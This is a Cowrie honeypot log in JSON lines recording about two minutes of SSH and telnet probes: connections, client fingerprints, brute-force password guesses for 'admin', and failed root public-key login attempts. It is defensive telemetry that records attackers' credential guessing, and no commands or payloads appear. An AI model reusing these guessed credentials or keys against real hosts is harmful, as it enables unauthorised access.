{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40616,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ee3de3788f8","protocol":"telnet","message":"New connection: 45.58.127.90:40616 (10.17.0.5:23) [session: 4ee3de3788f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:09.172677Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":27407,"dst_ip":"10.17.0.5","dst_port":22,"session":"16b13e37fee7","protocol":"ssh","message":"New connection: 2.57.121.112:27407 (10.17.0.5:22) [session: 16b13e37fee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:12.120446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:12.126645Z","src_ip":"2.57.121.112","session":"16b13e37fee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:12.229288Z","src_ip":"2.57.121.112","session":"16b13e37fee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"riggs","message":"login attempt [admin/riggs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:12.710470Z","src_ip":"2.57.121.112","session":"16b13e37fee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rhjirf","message":"login attempt [admin/rhjirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:13.815905Z","src_ip":"2.57.121.112","session":"16b13e37fee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rfpfym","message":"login attempt [admin/rfpfym] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:14.920461Z","src_ip":"2.57.121.112","session":"16b13e37fee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"retro","message":"login attempt [admin/retro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:16.025580Z","src_ip":"2.57.121.112","session":"16b13e37fee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"required","message":"login attempt [admin/required] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:17.130503Z","src_ip":"2.57.121.112","session":"16b13e37fee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.37054395675659,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:18.160550Z","src_ip":"45.58.127.90","session":"110e21c19ad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:18.235558Z","src_ip":"2.57.121.112","session":"16b13e37fee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.4678373336792,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:33.353970Z","src_ip":"45.58.127.90","session":"637d1d2559c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":45470,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9bc978082f0","protocol":"telnet","message":"New connection: 147.182.143.59:45470 (159.203.135.109:23) [session: e9bc978082f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:33.968664Z"}
{"eventid":"cowrie.session.closed","duration":39.67055296897888,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:37.168422Z","src_ip":"45.58.127.90","session":"086d1933dee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.191.165.57","src_port":42498,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7fbc8ca6890","protocol":"ssh","message":"New connection: 185.191.165.57:42498 (10.17.0.5:22) [session: b7fbc8ca6890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:40.305178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:40.310188Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:40.442817Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:00:01:7b:05:02:56:d1:ba:18:1c:9a:f3:c7:d0:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHj9Y7c+psrEO9HwDYtotLb5AVV9GTrdvOmXz20N6rrgaqqf6tFKqSOeN2ZCsHWVd7vuVGfn+diClktiORtkbN95RPfUePwOLLG7SFAKhtr6qVb6nuAbWt0gorr/T9UUWyKNnSV6hWOVGH1POUjoObeKZuoWV65xDqkIZpMw1U9ON182WCU6JffalQfzf/3mZMeXGERucPhmmmU0BmtFoGR7hMMrszE5LpANZX041OHCNlt432YYylEnSeS8n4Uc5JXl7ALhW0LxexnUJdZ7WzCx5+yeqeGTKwGnSwpmnAFDvM4651CetLwMfzhKDMJDoY79sqbzpP4G2xIvgGUT97","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:00:01:7b:05:02:56:d1:ba:18:1c:9a:f3:c7:d0:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:41.067138Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:00:01:7b:05:02:56:d1:ba:18:1c:9a:f3:c7:d0:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHj9Y7c+psrEO9HwDYtotLb5AVV9GTrdvOmXz20N6rrgaqqf6tFKqSOeN2ZCsHWVd7vuVGfn+diClktiORtkbN95RPfUePwOLLG7SFAKhtr6qVb6nuAbWt0gorr/T9UUWyKNnSV6hWOVGH1POUjoObeKZuoWV65xDqkIZpMw1U9ON182WCU6JffalQfzf/3mZMeXGERucPhmmmU0BmtFoGR7hMMrszE5LpANZX041OHCNlt432YYylEnSeS8n4Uc5JXl7ALhW0LxexnUJdZ7WzCx5+yeqeGTKwGnSwpmnAFDvM4651CetLwMfzhKDMJDoY79sqbzpP4G2xIvgGUT97","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:41.071512Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:f6:c7:e4:e0:9d:b4:4e:63:1e:f8:17:21:53:11:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOeeHgrRIIwGcZHa2cQYdK2KPXTggItkd6sMBgzZdBev25meWQnAquaGDoV9ga/klOMLwD+vgmUw4yxsAKIGgTiJYvYrTxzdqvqQQ8d7Q4VfN2tm4NBdQhqYBpE+0p9ZcNsiDOmmZxJnd/1HkcS86UrCpM2oAQy3ri+hCeQ526KIKpz43diIH4bvA76Zo8NgUmBSFo7rSqg8shq/YEjKX/EPj7fJgy9YGfAxbT+dZrazNLDIozTBt/QaYWgDZn+uwPKpQ2btx3WZwbDXhsurauzhjWTij6gS3uazaNLMKZmLk78QO75yohtcilauF6HSXtOYLU1Q9cXjWKFldC32iD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:f6:c7:e4:e0:9d:b4:4e:63:1e:f8:17:21:53:11:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:41.202883Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:f6:c7:e4:e0:9d:b4:4e:63:1e:f8:17:21:53:11:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOeeHgrRIIwGcZHa2cQYdK2KPXTggItkd6sMBgzZdBev25meWQnAquaGDoV9ga/klOMLwD+vgmUw4yxsAKIGgTiJYvYrTxzdqvqQQ8d7Q4VfN2tm4NBdQhqYBpE+0p9ZcNsiDOmmZxJnd/1HkcS86UrCpM2oAQy3ri+hCeQ526KIKpz43diIH4bvA76Zo8NgUmBSFo7rSqg8shq/YEjKX/EPj7fJgy9YGfAxbT+dZrazNLDIozTBt/QaYWgDZn+uwPKpQ2btx3WZwbDXhsurauzhjWTij6gS3uazaNLMKZmLk78QO75yohtcilauF6HSXtOYLU1Q9cXjWKFldC32iD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:41.207037Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:36:32:58:3d:eb:8a:1f:51:d1:de:c1:e5:68:af:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL7PCo+VEWDD7UtWiVGMAm/UI4/99mHsyErH/2ene8OTxhm8YGNCEUUoOEeN1h++9XLgV2gYlWU8/omLhXejkviQI3Wgo+GeuKzNQE1Qsq34aaUDEFqdVLtqurjelAtuclqZWk940bXvGTGy7FvgBnLAHaZxOu5e9jr9/y7KmSlDxa6rQv7b9OScDAbr+s6B9stI1NR2z1ZGa7TNWq41aghqViJQ9SN+l0CAbQTzuCm1qRB2HHMioqB7KsZ7YMmDNoTJLWLCWHabvGe2ecpBfijCK12RqmkXTKcb27r5DHXQL4NAQHBYT6ej5Qa42qEiqkyaIa13iQBcMRbPhRQkDt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:36:32:58:3d:eb:8a:1f:51:d1:de:c1:e5:68:af:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:41.342028Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:36:32:58:3d:eb:8a:1f:51:d1:de:c1:e5:68:af:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL7PCo+VEWDD7UtWiVGMAm/UI4/99mHsyErH/2ene8OTxhm8YGNCEUUoOEeN1h++9XLgV2gYlWU8/omLhXejkviQI3Wgo+GeuKzNQE1Qsq34aaUDEFqdVLtqurjelAtuclqZWk940bXvGTGy7FvgBnLAHaZxOu5e9jr9/y7KmSlDxa6rQv7b9OScDAbr+s6B9stI1NR2z1ZGa7TNWq41aghqViJQ9SN+l0CAbQTzuCm1qRB2HHMioqB7KsZ7YMmDNoTJLWLCWHabvGe2ecpBfijCK12RqmkXTKcb27r5DHXQL4NAQHBYT6ej5Qa42qEiqkyaIa13iQBcMRbPhRQkDt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:41.346943Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:fa:e3:3e:df:e1:4d:73:9c:3d:4e:7f:ff:2e:33:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNiBIKBpyItuQwLv8HEnacsRQ34pDSyUqPt5rvnc/E8+6Ie06C2lvgdRC8lyiiacYCwKgsVyTCMs1b8plcu3LZBE3GzW7FNXufat760NHAyqj284r941aILaoHfbOKhNfajJAS0EzNboidQC35cpiUWzy7GqISp4tBu2jJDVb2Ob7BFYLqVFm8rIu7y8hFvE8nF5ryDOXszhsBsmpW454PyuEoEXlm4Hbg4lGGcoMrxSCRmfVEeFYP1Wt1qcu6BAx2ByHLO7IXkzy/wRhWE/ShyR+ODKPReD9QcqCJftOKQ/hlxLGBllPb4h++bSzzAGvDbbjA8906sxbt6zYRBBo3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:fa:e3:3e:df:e1:4d:73:9c:3d:4e:7f:ff:2e:33:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:41.477590Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:fa:e3:3e:df:e1:4d:73:9c:3d:4e:7f:ff:2e:33:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNiBIKBpyItuQwLv8HEnacsRQ34pDSyUqPt5rvnc/E8+6Ie06C2lvgdRC8lyiiacYCwKgsVyTCMs1b8plcu3LZBE3GzW7FNXufat760NHAyqj284r941aILaoHfbOKhNfajJAS0EzNboidQC35cpiUWzy7GqISp4tBu2jJDVb2Ob7BFYLqVFm8rIu7y8hFvE8nF5ryDOXszhsBsmpW454PyuEoEXlm4Hbg4lGGcoMrxSCRmfVEeFYP1Wt1qcu6BAx2ByHLO7IXkzy/wRhWE/ShyR+ODKPReD9QcqCJftOKQ/hlxLGBllPb4h++bSzzAGvDbbjA8906sxbt6zYRBBo3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:41.482187Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:b0:ff:39:d0:2c:55:15:69:5b:19:53:33:8a:96:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMfQS6mu1pX+VQBKLkNka4+CSNTlobrUUtAQk4RApdBtjvOC9X0GBUBtQF1cJUywXOVqBihv6zPhi7CxrJUHLMsscjEhD5q5DRwQfRdMo8+UzzQ74yCXTPIdNa6nrqHwKUamb8DDVzQR/4zVfqZlqt/x57zSyVfxyYmPNIeVZbgB3UzN/qFgdFRcZu8dfrXnyyjHIyxGXTEdfrAJuJh1atAjT/8nPaIlUi8eN5uCRdy6Rwq5gnGkwkFjDIoBahnAUSH5ObrkiQI36nYlvpUQ0hqHPryjGQGbCcTyqescVq6+3QtvQbm3axyNwieG/lsfxCxkuEe2b4AraM6TWaVteR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:b0:ff:39:d0:2c:55:15:69:5b:19:53:33:8a:96:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:41.612450Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:b0:ff:39:d0:2c:55:15:69:5b:19:53:33:8a:96:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMfQS6mu1pX+VQBKLkNka4+CSNTlobrUUtAQk4RApdBtjvOC9X0GBUBtQF1cJUywXOVqBihv6zPhi7CxrJUHLMsscjEhD5q5DRwQfRdMo8+UzzQ74yCXTPIdNa6nrqHwKUamb8DDVzQR/4zVfqZlqt/x57zSyVfxyYmPNIeVZbgB3UzN/qFgdFRcZu8dfrXnyyjHIyxGXTEdfrAJuJh1atAjT/8nPaIlUi8eN5uCRdy6Rwq5gnGkwkFjDIoBahnAUSH5ObrkiQI36nYlvpUQ0hqHPryjGQGbCcTyqescVq6+3QtvQbm3axyNwieG/lsfxCxkuEe2b4AraM6TWaVteR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:41.617808Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:41.749342Z","src_ip":"185.191.165.57","session":"b7fbc8ca6890","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42342,"dst_ip":"159.203.135.109","dst_port":23,"session":"2de093b40d04","protocol":"telnet","message":"New connection: 147.182.143.59:42342 (159.203.135.109:23) [session: 2de093b40d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:44.673313Z"}
{"eventid":"cowrie.session.closed","duration":36.63598608970642,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:45.808558Z","src_ip":"45.58.127.90","session":"4ee3de3788f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.665080547332764,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:47.633636Z","src_ip":"147.182.143.59","session":"e9bc978082f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60988,"dst_ip":"10.17.0.5","dst_port":23,"session":"d266afc599e3","protocol":"telnet","message":"New connection: 45.58.127.90:60988 (10.17.0.5:23) [session: d266afc599e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:49.615203Z"}
{"eventid":"cowrie.session.closed","duration":7.905979156494141,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:52.579150Z","src_ip":"147.182.143.59","session":"2de093b40d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":32782,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5a9225e01b6","protocol":"telnet","message":"New connection: 45.58.127.90:32782 (10.17.0.5:23) [session: d5a9225e01b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:55.816407Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":32770,"dst_ip":"10.17.0.5","dst_port":23,"session":"56531948bd53","protocol":"telnet","message":"New connection: 45.58.127.90:32770 (10.17.0.5:23) [session: 56531948bd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:48:57.594017Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34198,"dst_ip":"10.17.0.5","dst_port":23,"session":"c18a0dbec9b0","protocol":"telnet","message":"New connection: 45.58.127.90:34198 (10.17.0.5:23) [session: c18a0dbec9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:10.867725Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58472,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5ab982a385f","protocol":"telnet","message":"New connection: 147.182.143.59:58472 (159.203.135.109:23) [session: a5ab982a385f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:11.401340Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34214,"dst_ip":"10.17.0.5","dst_port":23,"session":"24addd58480f","protocol":"telnet","message":"New connection: 45.58.127.90:34214 (10.17.0.5:23) [session: 24addd58480f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:15.316321Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58480,"dst_ip":"159.203.135.109","dst_port":23,"session":"df1b1685efff","protocol":"telnet","message":"New connection: 147.182.143.59:58480 (159.203.135.109:23) [session: df1b1685efff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:16.368846Z"}
{"eventid":"cowrie.session.closed","duration":13.184181451797485,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:24.585407Z","src_ip":"147.182.143.59","session":"a5ab982a385f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.28618335723877,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:25.901256Z","src_ip":"45.58.127.90","session":"d266afc599e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.838189601898193,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:27.206940Z","src_ip":"147.182.143.59","session":"df1b1685efff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.877333879470825,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:33.471245Z","src_ip":"45.58.127.90","session":"56531948bd53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.402493476867676,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:38.218796Z","src_ip":"45.58.127.90","session":"d5a9225e01b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52406,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a20a29eff21","protocol":"telnet","message":"New connection: 147.182.143.59:52406 (159.203.135.109:23) [session: 2a20a29eff21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:38.609712Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34020,"dst_ip":"10.17.0.5","dst_port":23,"session":"826fe41dcd5e","protocol":"telnet","message":"New connection: 45.58.127.90:34020 (10.17.0.5:23) [session: 826fe41dcd5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:43.819097Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58488,"dst_ip":"159.203.135.109","dst_port":23,"session":"99195d20635c","protocol":"telnet","message":"New connection: 147.182.143.59:58488 (159.203.135.109:23) [session: 99195d20635c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:48.976875Z"}
{"eventid":"cowrie.session.closed","duration":12.976060628890991,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:51.585661Z","src_ip":"147.182.143.59","session":"2a20a29eff21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43290,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f6bd39039d7","protocol":"telnet","message":"New connection: 45.58.127.90:43290 (10.17.0.5:23) [session: 3f6bd39039d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:49:51.840440Z"}
